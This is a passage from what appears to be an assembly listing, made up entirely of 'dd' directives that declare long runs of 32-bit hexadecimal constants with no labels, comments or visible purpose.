		dd 0ECFE004Fh, 31342B10h, 351F8FD3h, 0CF80A88Bh, 495557F0h
		dd 33D9009Eh, 46388914h, 95097D0Eh, 8274B5B7h, 7443A774h
		dd 0F8FD06F5h, 6F4B107Bh, 1DBDEFA0h, 0A8C0601h,	12E48169h
		dd 4660C09Fh, 0FFE07884h, 0E8C93130h, 0BF5CEh, 5A09E616h
		dd 48FA2ABAh, 68BCF90Bh, 4D9C005Bh, 556984h, 0C8DC4253h
		dd 0B6EE44Fh, 0FDD6E800h, 2FCD878Ch, 0CF30009Ah, 0CB4FD833h
		dd 9D1E85DFh, 0B8128253h, 8439A018h, 4CAF8DDh, 0CE6429ACh
		dd 0EF708D98h, 52F0E2E0h, 51724400h, 5D99DC86h,	9FE33h
		dd 0DF7C9185h, 9832BECFh, 70B0BC01h, 343EE722h,	752C420h
		dd 0C2FB62F4h, 8337E047h, 0EE0477BAh, 8221C57Ch, 1809A0C0h
		dd 0FB1B3E55h, 792E1780h, 3C986EEEh, 92B0A801h,	0F64C64E8h
		dd 69B830h, 0FF7490BFh,	14D67954h, 8CFEE700h, 349F31AFh
		dd 1B7CD3h, 0D92EEAE5h,	5771A324h, 0E149B904h, 70801CDEh
		dd 4C9EACC4h, 4F018A83h, 181728E8h, 0E07B20E6h,	0D9856700h
		dd 0DE74404Ah, 460400CCh, 9AD48A88h, 81A071ADh,	7B4BDD30h
		dd 76011EACh, 0C9FF6B05h, 0CB7CCCDFh, 0B9B4AC00h, 4753A27Fh
		dd 0C7E0EFh, 0C4EE5D6Fh, 465C5193h, 9EB73Dh, 0F1EA7D5h
		dd 1B93431h, 0B1C3D039h, 0F4CD9B36h, 0F9137A0Eh, 7880B0BFh
		dd 7FC1E96h, 0B9C9D019h, 0B52927Eh, 0EF5ED0C0h,	39460500h
		dd 9F4928B2h, 1B6D001Fh, 89F57740h, 4C004382h, 6AD97251h
		dd 0EE0573h, 2B5899CFh,	2287DAAh, 988BAC24h, 706F0D02h
		dd 41D4C06Ch, 543B268Fh, 836900C0h, 0D759469Fh,	0CF6639h
		dd 2CBE7DC6h, 7E58A2DFh, 0E25600FFh, 0E944846Dh, 977C653Eh
		dd 7B93103h, 8101E76Fh,	9472BF3Ah, 1864617h, 296AFE64h
		dd 8EA07BB7h, 7173002Bh, 7CF747ABh, 0C200DE6Eh,	7605AFAEh
		dd 0B0DCAD9h, 7FFD1754h, 6A7B1820h, 8E0045DFh, 204CC3EFh
		dd 989E61E7h, 925C0080h, 51A7E333h, 3D1E6658h, 0B5025F83h
		dd 798F1568h, 7318004Ch, 0E049ED19h, 0E51390C0h, 2CA70Dh
		dd 454D5E1Ah, 3C58E484h, 1210C9h, 0F3E0C766h, 0D4C8F576h
		dd 0D75400C1h, 6CCBB1EDh, 5E1C0311h, 57422040h,	60F1303Ch
		dd 3FC03268h, 18E0AFBFh, 7AF9F65Ch, 0BE561D00h,	0EA0DC6F0h
		dd 388D0050h, 0B0610E0Ah, 4409BAECh, 2079CE60h,	2CF1E904h
		dd 58BC75AAh, 0B50030B1h, 0FFA79807h, 24B00FC5h, 6C293E00h
		dd 0BB2B6152h, 0DCE61D3Dh, 321DCB91h, 0C4E7875Fh, 0ACD0AB44h
		dd 164FE874h, 850DDD62h, 210516E4h, 9DD4FCh, 0FF9970h
		dd 0CB235E0Bh, 691F6664h, 62ED1800h, 1AA244BEh,	0DB310641h
		dd 48B57388h, 2A00E670h, 21A3BE34h, 7D46BFDAh, 43D30019h
		dd 9B988508h, 0BA0061F5h, 301FAD64h, 7B6FA286h,	766D00E0h
		dd 3E714CC7h, 8D00AAE5h, 0C9BCCE06h, 0A157617Dh, 2DCC7FFCh
		dd 3D2E896h, 73F8F4Ah, 0BAC8E6FCh, 0FF00410Fh, 9177687Bh
		dd 0ECFDB99h, 0EB7FE280h, 0F7DF4CC0h, 4248560Ah, 3E1F0070h
		dd 0D1C2FE1h, 0B1270544h, 0C7ED01A0h, 0E35E4074h, 0B70D430Ch
		dd 11264861h, 65B620h, 88FB0B77h, 3794B84Fh, 48DF58h, 0A05CCE20h
		dd 0AB2864h, 0BEF02A7Eh, 4A7054DCh, 69D14D00h, 3B38B892h
		dd 216F4D9h, 5EC96BE3h,	0A050E1A2h, 7C89B000h, 8D13BB0Fh
		dd 38515C05h, 0C9C4F600h, 39E5AC55h, 0CB00B376h, 0D8E85E2Ch
		dd 94F718CAh, 0D10001Ch, 8723C184h, 1B6A8102h, 0C0377D6Fh
		dd 0E0BC86C0h, 8E4C0061h, 84698AE6h, 145D4DBEh,	0E9720204h
		dd 1BCD0Ah, 0BB9FC5FCh,	5B2FE300h, 265909B0h, 952D00A2h
		dd 6F22985Dh, 68EA841Ah, 0B90D3100h, 0A242FE77h, 75AE00A8h
		dd 67864F51h, 0DA046DFBh, 36D19EE0h, 0B4F44201h, 0FC89815Dh
		dd 0A1DE3169h, 4CACD820h, 0AF58B0A6h, 0F41CA20Bh, 74751082h
		dd 0C439D8C9h, 0F00A909h, 0E3814D79h, 5A088CBh,	4BCB052h
		dd 6F3C8076h, 3500016Dh, 0DA641933h, 3CDF8051h,	0C80144C0h
		dd 6B5D01Bh, 17FBE83Fh,	0BD29A960h, 2236371h, 4CA8AC97h
		dd 687032A0h, 5F6FD200h, 4D096DA6h, 1E7F2E70h, 751FB8h
		dd 0FF5CA9D8h, 0B4711774h, 3C33BC01h, 39557B7Dh, 981874h
		dd 8AE9C6B8h, 0D969A940h, 0A67F2C00h, 78B7FAA0h, 0DF1A0371h
		dd 7511106Dh, 0BBDEFCA0h, 59241501h, 2BD8A562h,	78C0E5F5h
		dd 36971B3h, 0E6DEC494h, 28B1034Dh, 297E9FA9h, 0E00F2D8Ah
		dd 0BFE55C00h, 0CFC7DBh, 3AE9D079h, 3D90C946h, 2B9A300h
		dd 0F8A52F10h, 0EDD20008h, 241DD81Ch, 0CE0F8882h, 0EBAFB155h
		dd 813C8947h, 38717E68h, 90A2E040h, 0D8913AD4h,	1CCB90D0h
		dd 40E87257h, 110F66E6h, 9809B034h, 5B958DAh, 44904BDCh
		dd 0F6A25Dh, 0BAD6A6ECh, 6A5551Eh, 1400D2E8h, 4F1CD719h
		dd 328C33h, 0A23843E4h,	0C606BCC8h, 80A6E13Ch, 0E9477864h
		dd 120127EBh, 5E713Bh, 496674D0h, 44003DFBh, 57C20B2Fh
		dd 4FF4E5h, 14BC6CEEh, 2D8D8220h, 99E84950h, 92E09400h
		dd 4969553h, 97C0043h, 2EAF4E08h, 0D2018B3Ch, 9C4BDFD9h
		dd 46D8BC78h, 0AB60011h, 9814BA20h, 8EF0AC0Eh, 7A090DE0h
		dd 9528A7h, 5BBFC4Ch, 124C73F4h, 0D0B47Ch, 7E41790Eh, 0A5189E83h
		dd 0F210CC8Ah, 5A101C18h, 0C9A0014Ch, 505B2192h, 79624A98h
		dd 0F6402C00h, 986DEE1Ch, 242600AFh, 0A9774539h, 0EE4E1C1h
		dd 0C38B0903h, 911050F7h, 7A3046h, 0D36F298Ah, 0C502DDB6h
		dd 31A868F3h, 0C00C403Eh, 0DE5300D9h, 0D59DC3F7h, 5A003CDDh
		dd 273994ADh, 186B367Dh, 7A9C985Eh, 29EA2819h, 8C007EE6h
		dd 0D39D41DAh, 0E6575391h, 2455B0FAh, 40C34ADh,	80D08CD6h
		dd 0EEC888ECh, 0E0CF6703h, 0A89E0FA3h, 164733A4h, 5D00B6Ch
		dd 0C0E97940h, 3DA2551Fh, 94EB7C00h, 14F89F2Dh,	85840025h
		dd 724D2753h, 7300F70Ch, 3301D147h, 34BD8h, 0FE0DF589h
		dd 0BA0BB3C0h, 8E1FC600h, 8CDB1AACh, 0E5EB0B3Ah, 30A03017h
		dd 6A68F9C2h, 0F4E6DC00h, 69FF622Ah, 0AEB6009Eh, 6C8C3C87h
		dd 98C0F86Eh, 8645068Eh, 10F96714h, 1A74D020h, 7C004F81h
		dd 2968BC16h, 881744h, 6BBEC79Ch, 0EAD45A3Bh, 954CD000h
		dd 5F079B3Eh, 0E698052Ah, 0E06E0544h, 0BF017B00h, 7EA2230Dh
		dd 0B8705520h, 5DCF0EDCh, 10784664h, 0C50E596Eh, 0C0CE5BEFh
		dd 0D85FBF77h, 2C6B00B6h, 1984DB5Dh, 0DF0E6634h, 6A05E214h
		dd 0A112EC11h, 0FEE3ECC1h, 5A006028h, 2155E19Ch, 0D701F630h
		dd 9EF305CFh, 0BC2CF565h, 0F4460170h, 0E9551F54h, 0BCBEF8EDh
		dd 15A472Fh, 68509308h,	2CB6EADCh, 1D0DE5Dh, 290BC679h
		dd 61B961ADh, 5642C040h, 261F0E3Bh, 0FA206419h,	8246700h
		dd 5A0B0A2Bh, 881000BCh, 0E1F11727h, 0F800976Bh, 0A76FBF4Dh
		dd 2EF5AEABh, 0F0E3C6h,	0A35AC5EEh, 0AC4801F4h,	0DD27008Dh
		dd 64DCCD6Ah, 58F848C1h, 0EA0F650Dh, 10D8E87Ah,	0B657A300h
		dd 2E8D92FBh, 167C31h, 302FD3E1h, 4C5E6CA1h, 2D1DA73Eh
		dd 0DFEDC091h, 0D4CA17DAh, 1ECB12B0h, 64B48044h, 507FD724h
		dd 82702E06h, 309337h, 6B847BF0h, 23C7082Bh, 9E8B3005h
		dd 0EC003E75h, 0B07AB41h, 2DBD2659h, 24E50A20h,	45D700D1h
		dd 85E171F4h, 0F513B809h, 0ED2090B0h, 65092CF1h, 56CE40F0h
		dd 5100B1C7h, 0A0C6090h, 0FFE4A9h, 79E445Dh, 0E7D45002h
		dd 0BF00D5FEh, 573E6055h, 684270h, 1DAD51CCh, 0C34DB750h
		dd 0E2907900h, 0EA6A5872h, 9EB07859h, 0FBBB0B4Ch, 0A0324081h
		dd 0BEFDD088h, 732F5E00h, 19265FB2h, 0F7CD0C5Dh, 8211D483h
		dd 0DF2C0D7Dh, 44003942h, 0A63835BFh, 258D051Ch, 81A1EF80h
		dd 78436D04h, 0EDE80798h, 0D290C9BEh, 581CFF3h,	0B351D8FDh
		dd 2F9CB23Ch, 0E378AEh,	0BB27C619h, 0F4923ADh, 3B112400h
		dd 1ADBBA64h, 0B99D0915h, 1400AABEh, 0EC5D3138h, 5A7E3A03h
		dd 0E0D8184Bh, 86F8E6h,	193977A2h, 0E36FDCADh, 5EB10A02h
		dd 40D5CC29h, 9A85708h,	0A13D9FB7h, 0D521B80h, 0E1078772h
		dd 0CB8D2D48h, 0B8A02654h, 15D50067h, 0D8275FB3h, 322C557Eh
		dd 9F04E88Bh, 38A006B0h, 9C420062h, 0A0B2A51Fh,	7D003833h
		dd 7AEF2456h, 764B2B55h, 4404056Bh, 0C0D889A3h,	26DEFB54h
		dd 0AC854A00h, 0AF1F3C29h, 8B280137h, 180AAD84h, 9CE42071h
		dd 234F4C00h, 5FB529E4h, 667F06h, 0D0EB6757h, 0E2F259DDh
		dd 7AE4B2B0h, 0E789CB00h, 157CDFEh, 16490E7Dh, 1EA06812h
		dd 15447435h, 54918300h, 2C89EB95h, 0A08A002Fh,	6036B7D0h
		dd 0D400F243h, 11EF8548h, 0F3CB68h, 965674CEh, 46FB89CCh
		dd 705C22E8h, 6BE0078h,	0E6C78F6Ah, 450918B9h, 0D286EE56h
		dd 349E080Fh, 3CBE0028h, 3B99B211h, 0BD857C16h,	0C09263B3h
		dd 496202F0h, 7F362C00h, 5F9CDB1Bh, 0C9B5163Eh,	46380120h
		dd 0FB226684h, 0ED9489A0h, 0F3B1A90Eh, 60576997h, 0F8411E58h
		dd 24A175F9h, 1774DE18h, 0FFD003EBh, 718099C7h,	4E007452h
		dd 55BED8F5h, 3DC6BD2h,	0A30E6DA5h, 4982232h, 2E26269Fh
		dd 0BB00A011h, 686AC8EBh, 87A2017Ah, 4959B8B7h,	3F0C2443h
		dd 21A16500h, 6E9B181Bh, 0BAD00C63h, 0DC207029h, 0AA785403h
		dd 9C04FDDBh, 22F088B1h, 0BE30C035h, 4ED7D064h,	0F1006373h
		dd 8BE65F52h, 4ED25h, 0B7941CC3h, 23E7F3AEh, 8051C000h
		dd 6DB9F901h, 7BBB0025h, 88D7DC14h, 0F80003A5h,	6F67B7B5h
		dd 784421h, 0D493EC0Fh,	58B672D7h, 97DBAB0Fh, 3CD9208Ch
		dd 15DC6078h, 4CD1011Fh, 9B1BFF0Ch, 313AD090h, 8FD60A67h
		dd 17007876h, 4524FC14h, 7D981F0Ah, 38CB802Ch, 0A21A5C13h
		dd 53BA0300h, 79C9EE7Ch, 56E7D57h, 7E8D7DADh, 6E87FA7Ah
		dd 4C52FA50h, 18870041h, 35264289h, 86FA31FFh, 14E2113h
		dd 59755700h, 0E65C63D3h, 0BF850002h, 6B0E6109h, 0FD727417h
		dd 4AB1D11Eh, 5ACF01C0h, 59DA46h, 7DCC4D22h, 0DD8344F2h
		dd 71805C00h, 897572C9h, 0ACB90057h, 0D4471EEEh, 0D00FC93h
		dd 0E5BBD004h, 0E1C6C2Ch, 186A9022h, 8FCFD920h,	0B400E11Bh
		dd 7B5108C1h, 0FDA820Eh, 0E05D9336h, 138E885h, 4498C18Ch
		dd 67104157h, 0E938A50Dh, 5ED0A28Ch, 1149643Bh,	0E80A8060h
		dd 6E7FDFB7h, 6F47BF1Dh, 8921E039h, 1E6FDD3h, 603496BBh
		dd 2420ABC1h, 8E00E274h, 2452523h, 12EC5A6h, 0FDF22A8Fh
		dd 0EC36433Ch, 0AD00C195h, 48F37DDDh, 3B1C7367h, 18983426h
		dd 6440607Eh, 8761AB00h, 43575009h, 1909D601h, 0E8442027h
		dd 981F0F62h, 0D9019E5Ch, 67D31FD7h, 0ACA0F889h, 7C75BC10h
		dd 0BE3B700h, 2EA6E2A1h, 0B5FB037Eh, 8043D00Eh,	22923000h
		dd 24BFBDF5h, 3FC81432h, 1718901Ch, 0B5DD918Fh,	3D449A0Eh
		dd 0B86E1A7h, 0BFF0B909h, 51E4EFECh, 3DA701Ah, 89833FA6h
		dd 3EE8C5E5h, 4392F85h,	1BF804Ah, 3108FB3Dh, 9571070Eh
		dd 0A0A11578h, 0E5F8D69Bh, 81BAD206h, 3009FC01h, 0BB200EBFh
		dd 793EF8BEh, 4E928009h, 0E5A91DECh, 0AC860064h, 1E157B3Dh
		dd 0C5008467h, 91D3D16Eh, 38C3C73h, 9D3D430Fh, 2900B586h
		dd 0B8301381h, 0E8ED226h, 8DC91EFAh, 6F21B68Ch,	0AC00B8B0h
		dd 5662711Dh, 1816412Ah, 2035CB5Fh, 0B800F3A1h,	0F0639730h
		dd 47DCD2h, 628AC9EFh, 34D1AD4Dh, 0A1EB7B03h, 7813B1B6h
		dd 7F3500C0h, 4AA53774h, 6C336F21h, 1FB0862h, 7472D821h
		dd 0F4E4D722h, 48E46C8Eh, 0BF35EF1Ah, 59942C58h, 44028CFBh
		dd 0D2A53874h, 13FA1928h, 278095CFh, 4F9654h, 9C8DEFA9h
		dd 0BCFD972Ch, 47A8550Ah, 0F33F9430h, 37572D05h, 0B003E332h
		dd 8BC57A9Fh, 5DF90134h, 8A765323h, 0B22630AEh,	212F09CCh
		dd 520900FDh, 1DB767C0h, 0F6BEBDE4h, 0C8401003h, 8AC8009Dh
		dd 4AAA6CDEh, 8D1EEAE9h, 2C404E84h, 798BCFF1h, 0DD2107A7h
		dd 10F38110h, 1274FFB6h, 3B80CFAh, 0BE03E00h, 1682332Dh
		dd 67FC8Fh, 63D6106Ch, 7651D921h, 0FB6BB402h, 0DDB9C4DAh
		dd 42F83800h, 9B3DF001h, 534806Fh, 62B5450Eh, 7C3E1428h
		dd 3700826Ah, 0E822ADCBh, 0EA3AA70Dh, 218C30EBh, 3C3739EEh
		dd 8880D5BDh, 781B855Dh, 4E00A696h, 498A56D8h, 19769BC1h
		dd 600E296Ah, 44418A9h,	2ADC737h, 277F32EBh, 5F37A0D2h
		dd 323A0519h, 0CB36806Fh, 0B8C8547Dh, 3FF7003Bh, 3E26E518h
		dd 5017D57Bh, 4201057Eh, 276A6E8Dh, 2AD74880h, 114EE529h
		dd 3554701h, 0E46E8C59h, 19CD9861h, 400A9181h, 7BD7B482h
		dd 0CC9F9EE0h, 2A210109h, 6A827807h, 0F180AB4Fh, 7283C09Bh
		dd 0C15BFAC1h, 7CF9E9E0h, 0E1988C32h, 1B3957h, 5160A835h
		dd 98BE3373h, 0E0558E30h, 37AD927h, 7105C3EBh, 1AF096EDh
		dd 0F901EC6Bh, 3FE26AB8h, 3AE0AAFFh, 0AFF40380h, 99F36473h
		dd 95AB48A8h, 0B47FE500h, 0F66B5E12h, 867C59h, 620F8123h
		dd 5982A82h, 10937001h,	64AF0C07h, 0ED31E4h, 0E0822F2h
		dd 0E9CDFF4Eh, 364D4EC0h, 16BDEA5h, 24E2B0F0h, 0E4F55371h
		dd 0F33C8460h, 59AB00C9h, 0DF4DC352h, 0EC97FAA1h, 6E82002Ah
		dd 49326FACh, 0F6E2636Ch, 1D680100h, 5BFB0859h,	86EA0015h
		dd 4E13BBF2h, 46005D47h, 21EE231Ah, 6032D9CAh, 387E2AF0h
		dd 8E0CA558h, 0EA9A7280h, 3BF80055h, 468E78Fh, 3B0AD9Eh
		dd 2ACA1E03h, 8047E33Dh, 9DF902Dh, 0ACD31658h, 8F03808Bh
		dd 6005E8D5h, 0CC1FA71h, 20703680h, 0B41D005Ah,	1792F84h
		dd 0A6001780h, 6FB36909h, 3E78EBAFh, 0C70020F6h, 4F34315Dh
		dd 0A8C08ECFh, 62412FE8h, 5290026h, 0AF14C7C9h,	8F1F86E1h
		dd 83BEFFE2h, 4C45A021h, 0C53DC07Fh, 67C1005Ah,	93B8DCCCh
		dd 0B50029B0h, 0AB38855Eh, 4479A805h, 6B18D6D8h, 85E9DF93h
		dd 89051717h, 0DD690012h, 9910B075h, 9A0F55EEh,	86C3AFFDh
		dd 7998FFCBh, 73540021h, 79DBB535h, 0F7E40C1Fh,	3A95200Fh
		dd 0DE638594h, 0C110438h, 0EAD7C675h, 1978EBEAh, 825A4A00h
		dd 8A17632Dh, 0E5A200ACh, 0DE4871ECh, 3330BE28h, 0B1BB38EEh
		dd 633800D8h, 5D0A5793h, 0BA018B7Ch, 79AFDAC2h,	11C88148h
		dd 9E5E0C1Ch, 35202BEEh, 439EF0Ah, 217820FFh, 98188C96h
		dd 0E6B92DB2h, 70C000F8h, 42CE7C1Eh, 9A000981h,	0A5055C6Ch
		dd 0FA24D29h, 486E90A9h, 64135400h, 2C74ACF9h, 205540C0h
		dd 0AE341Eh, 9DD746B7h,	0C0D87F3Fh, 58F061C0h, 31D6F1Eh
		dd 849F609Eh, 1DDE5BAh,	0A10FA580h, 1EA88329h, 1DA25A2h
		dd 21D9FD18h, 80DC5F50h, 87F8DED0h, 0A0934722h,	1A94CB4h
		dd 0F524956Dh, 51E6FF48h, 578CF3C0h, 820A11C4h,	0E184CCBBh
		dd 0B300A57Fh, 6DC4EDBAh, 2C298348h, 1608C178h,	0C7150223h
		dd 0E4A04C90h, 82584043h, 0B70EC60Ch, 0E8B8602Ch, 2082F598h
		dd 0CE58780Ah, 6084B960h, 5FAB700h, 21AC71B8h, 280E7F7Fh
		dd 9ECF8CAh, 482A5DEBh,	694D0000h, 907BE666h, 0B9B8AD00h
		dd 19804285h, 0E9D769CBh, 0E060190Fh, 8F5E62A1h, 6C08EF0Ch
		dd 0F30E111h, 81C50312h
		dd 60A019CFh, 87376915h, 0AE0E18E8h, 67226Fh, 5E4BEAFBh
		dd 3F19EA75h, 0CF80A60Eh, 809CD7Fh, 2300120Ah, 0FD751B7Eh
		dd 52116387h, 1F02E80Bh, 0EC197AF5h, 3AAC4E60h,	0EA5E4A8h
		dd 0CF00EEFEh, 0B5501071h, 18FB7C12h, 0A0834990h, 301FBF47h
		dd 0FE5FD4E7h, 94B3340h, 26619013h, 0F1BA71h, 62B3842Eh
		dd 0EBEC6AF4h, 0A55C2DF2h, 4E400021h, 159357B0h, 1F8C00F6h
		dd 3B080EAEh, 8BF606B3h, 84EA6B2Ah, 6F3BFE7Ch, 0CCC88F51h
		dd 0E017AC7Fh, 0A021C03Ch, 0B4F96FEAh, 6C154A0Dh, 42D5190Dh
		dd 87CBD8h, 0D0D1A743h,	0A4CDC831h, 0A98F5100h,	7848553Fh
		dd 6090E068h, 4F12D973h, 160B13E2h, 80EFF84Eh, 7BEED86Ch
		dd 0B3AC0186h, 190964F4h, 9BC2F4FFh, 0B0D26E8h,	0E07E82BAh
		dd 0C3183047h, 0C6E95875h, 88971876h, 5926CD39h, 2100C3ADh
		dd 9D4973EAh, 2A8C0471h, 822E5D0Eh, 3460FC98h, 2C80C2DEh
		dd 7B110FCCh, 5D07817Eh, 80A085E7h, 0FF468A78h,	28CAC7F2h
		dd 6B62BCF5h, 268CA086h, 675A337h, 671946F8h, 910019ECh
		dd 47ABAF4Fh, 26CAC5FDh, 14244D84h, 39BCC808h, 57FE3B8Ch
		dd 37C70B03h, 912C517Bh, 1E3EC871h, 0F00BE35h, 4772A3ADh
		dd 1578F82Dh, 9C4BB5C3h, 0FA121C09h, 0A014942Fh, 5BAA5F0Ch
		dd 350C3248h, 21D8CB58h, 8D1B3AF4h, 5FB10A82h, 684913DFh
		dd 0AD2180C2h, 357E8C8Ah, 65790104h, 92504294h,	1100E67Ah
		dd 68AE220h, 0BC803832h, 0E70069A7h, 9D33EF9h, 4C9FCA73h
		dd 0D67C5806h, 315E04E9h, 0A9CCD63Ch, 0B0511D0Dh, 80471199h
		dd 935792F3h, 0B3280545h, 478077Ah, 904F9618h, 8170533Ch
		dd 0CB252A03h, 0A0923D45h, 775CDEh, 8DD020ECh, 0CC3C13D5h
		dd 535AD719h, 883094A0h, 3A9389B4h, 8B7B5880h, 2BCA1384h
		dd 0A58001BEh, 8F96EA67h, 6DD8319h, 98902C16h, 0F9D52250h
		dd 131A577h, 0A75050DFh, 72EB048h, 55696867h, 0C14D14BAh
		dd 22051D70h, 30B7F20Ch, 0F00340Dh, 8FE9F5FEh, 0C0276B1Eh
		dd 6923E121h, 0A512DCA6h, 45E4A9Eh, 0BE3A8B00h,	58A4635Eh
		dd 380C0B6h, 3416324Ch,	0B329D916h, 0D0374444h,	0BE614489h
		dd 6547C181h, 0F0AC0E40h, 517AEFB0h, 7B124600h,	0E2224304h
		dd 0EAF40970h, 1C05E90Bh, 82F3C0FCh, 4951E69Eh,	0FB84309Ch
		dd 1E56068Ch, 7807B102h, 54118499h, 1E0E0072h, 3E7B5C4Ah
		dd 0C3014896h, 0C2B1FA1Bh, 0CC42C13Bh, 3B8066AFh, 8E2CDAA4h
		dd 838100BCh, 424CC045h, 518448F3h, 0CFAE1200h,	95B6D33Bh
		dd 0CC4002C0h, 3EAE1C8h, 6402386Ch, 0EEC67E58h,	835C18B8h
		dd 0FC2E80h, 0F0F91559h, 0A7F2907Ch, 50542759h,	48C09ACh
		dd 0A768C7Eh, 358861F9h, 8C85BA00h, 0B5A46B1Eh,	38546170h
		dd 0A88BA93h, 0E9F94843h, 0B6F080C8h, 629EF810h, 8033873Ch
		dd 0E4A51D9Bh, 7450FC93h, 1559C16Ah, 0F004CF19h, 30916C05h
		dd 1B6FFA87h, 64F81877h, 49E40A2h, 0E066C76Fh, 12487FB7h
		dd 1FE4E30Fh, 85A4A680h, 0D089BAB6h, 1AD7080Ch,	0D050FF09h
		dd 7478035h, 0A62569h, 7F2FB6E9h, 5AAEA927h, 0CDD29209h
		dd 80A480ACh, 0C0524ADCh, 42620BE0h, 18C28247h,	4830B97Bh
		dd 2EFF8500h, 366BFA9h,	0EE750F52h, 2310294Ch, 58760109h
		dd 183EC714h, 0CA8A946h, 6A4BC26Ah, 6C0DEF60h, 7C804C94h
		dd 31DD19C4h, 0B0D50E22h, 0AAE070F8h, 7E40187Ah, 0E200FB7Bh
		dd 2F0233A9h, 0A0AB9F01h, 0D19550h, 8DF06922h, 0BEB20A05h
		dd 29EEE1C1h, 28A821DBh, 1334608h, 0A748C80h, 10B4DE9h
		dd 438CF7D4h, 0D42384A4h, 2C53CE01h, 30EB49A3h,	0F0EE4B34h
		dd 21CA5F79h, 0F0020CBh, 7A06261Ah, 410200E5h, 15C56111h
		dd 4A004308h, 0F7169C6Bh, 25751877h, 0B400F567h, 6E485811h
		dd 0FF0068BAh, 0CCAE2864h, 0EE0EEB29h, 0EDC93CDh, 0B1041E04h
		dd 24C96257h, 0D51900ECh, 62761Ah, 642EA10Fh, 6EB8866h
		dd 22E6E7FEh, 0CBDD114h, 0AB007C98h, 0E3EF7DD8h, 26DA8494h
		dd 84BCB787h, 404C7107h, 38196CAh, 46A8B049h, 8CFC268Fh
		dd 0C928973Bh, 0AC702Ch, 95326FFEh, 8B9DB626h, 53EE4A1Fh
		dd 5603ADC0h, 72CBC1h, 97DB5FF4h, 2B11EBD6h, 8CA9C705h
		dd 0EFC0659Eh, 2A109575h, 398C85B5h, 0C937BAB9h, 578C80A8h
		dd 2D00716Ch, 0CC2A0DFCh, 5074562Bh, 0FEECD00Ch, 0C5A092F6h
		dd 41EF9BC8h, 93BA10E4h, 0E26C23F4h, 0B36D3045h, 0E93FC603h
		dd 0BF7D75C2h, 0C4C1AB42h, 5F9A245Ch, 27088FDCh, 0A7B36020h
		dd 0D106E157h, 50968CF5h, 0ECCE0051h, 8AAF78DFh, 2A090CF4h
		dd 8F82DAC6h, 8B360DEh,	135FFCEBh, 87B1BAh, 0E90FAFB4h
		dd 0F0997C7Dh, 511853D9h, 157ECC00h, 3349E577h,	0B0E67934h
		dd 0F360C478h, 8A6C9091h, 1B73C0D5h, 0A578C301h, 0A61EE34Dh
		dd 946B46CCh, 0A22C8358h, 8F85C68h, 0D203BE45h,	0C1753EE1h
		dd 0DB52B19Ah, 0B83382C0h, 0E0B98Ch, 46E922AEh,	71B8A655h
		dd 8019BA3Ch, 2B974885h, 0D939E2h, 79F51F53h, 1E602C01h
		dd 40EE6609h, 91441705h, 0C68D80A2h, 7BA4EBD9h,	313702CBh
		dd 810BB52Eh, 13028C66h, 0D1854F26h, 0C43005C1h, 172498E8h
		dd 0A778D04h, 0BE336011h, 86D9210Eh, 0FEDD208Ch, 65CFAFF4h
		dd 0C99C5854h, 88D80E9Ch, 75BDC3C5h, 43C1E5F0h,	0D9859630h
		dd 4431B6h, 130FD47Eh, 8E571459h, 870C20E9h, 6AD7C60Ch
		dd 75918050h, 1A5F3475h, 5E00C0A9h, 0DC808327h,	48584A96h
		dd 82C00550h, 520A628Ch, 0BC227819h, 8C89CE07h,	84909D86h
		dd 375DEA3Eh, 0A259B4E2h, 0E007BD8Fh, 67A7A3F1h, 0BA7B79FCh
		dd 0E8E922E0h, 0CC2E2703h, 0E5FD2D7h, 97199430h, 0A38709E0h
		dd 98A806D4h, 4E79BA0Bh, 37F260C0h, 9C96C1h, 47CF5EBh
		dd 67519FBh, 63208B63h,	1D08F01Ah, 420A7DBh, 309D079Ch
		dd 0C1CE6A11h, 7ECFF4C1h, 98E0045Ch, 0BDB2285Fh, 1440B008h
		dd 9CD70BD2h, 0E48CBEECh, 54710736h, 0EB37AE20h, 0EB2CC01h
		dd 9780A5B6h, 835B88F8h, 0B3144B60h, 0ACF12807h, 0CA701CB4h
		dd 0BA2460EFh, 17251C33h, 80B8918Ch, 0BCEC25B1h, 0E1B2002Ah
		dd 4C29F513h, 7E27F6BAh, 35D4A083h, 4416C58h, 60E775D4h
		dd 0FA30817Dh, 0C9E0BB48h, 842EC00Ch, 99306D8h,	94EFDA38h
		dd 6FE4E0E8h, 5E44202Ch, 0BF1D811Ch, 8D1A0341h,	0D6E91BDEh
		dd 2EF8BCC1h, 0A9A80773h, 0E0B54608h, 0BDDA3358h, 0D90FFB1Fh
		dd 7D9B8B00h, 0F6479Dh,	0FEB1C416h, 3F280280h, 69A77300h
		dd 0CDC50ACEh, 8DEF07EDh, 8356F345h, 65B07781h,	0DD1C1AE8h
		dd 77EFA95h, 7E0C100Eh,	81105507h, 38FB6743h, 7180ADC2h
		dd 0C4CE41ECh, 78011554h, 942A626Eh, 10A156DDh,	8187C04h
		dd 14100148h, 60A3FA55h, 0D2B116DCh, 0D00E2A7h,	0B85F7AA0h
		dd 3C6EC88h, 0FE87E614h, 72DB1D90h, 632F31E8h, 0C822F800h
		dd 28FD75D9h, 0C5E317FEh, 1D58A862h, 770747E6h,	0BF70FF76h
		dd 7FCB432h, 0D98C9F7Bh, 3EE740E3h, 0B5C85F1h, 0F2387Dh
		dd 61416AC3h, 4770AEh, 0D9816080h, 0A9ABC99Fh, 0FB7A000h
		dd 82EFB3F9h, 20C20097h, 84590203h, 1C01E88Eh, 6EE6D0B6h
		dd 5880F287h, 874E988h,	0E0EAD1DEh, 0F7E3AA03h,	0D9DC91C7h
		dd 1C204721h, 5B050086h, 7FA6E1BCh, 8A0003FAh, 348287D4h
		dd 37BA1Bh, 285DDE46h, 44BE7177h, 0FEC2F604h, 0C0BF0D0Ch
		dd 0A1ECE516h, 4138C060h, 49D3E49h, 22839139h, 0EAF480A9h
		dd 0E00CD81h, 36C880F8h
		dd 0AB20D8Dh, 5DBDC118h, 19D400CCh, 936ADA0Eh, 255E7702h
		dd 90619295h, 380B2BA0h, 9D00FDCCh, 90CED0B5h, 400F22Fh
		dd 88167DD4h, 0C0F0E486h, 98D3FF8h, 11C09E44h, 7790D88Ch
		dd 24363F0Dh, 0A30A6B8Ch, 4898C880h, 0FDC380C0h, 0FBF91F86h
		dd 66D443h, 0A5188728h,	0B1D08F2Eh, 0FA5FCD00h,	5092149Ch
		dd 3B1F01AFh, 0F736863Dh, 80C057FEh, 0DC058CC3h, 7D0044F6h
		dd 962EE3E6h, 1CD4A737h, 40CDED73h, 904E21BFh, 1A0B3910h
		dd 8099A3EBh, 0BAE559D7h, 0B7B8147Bh, 0D100BA21h, 0B6BB9F92h
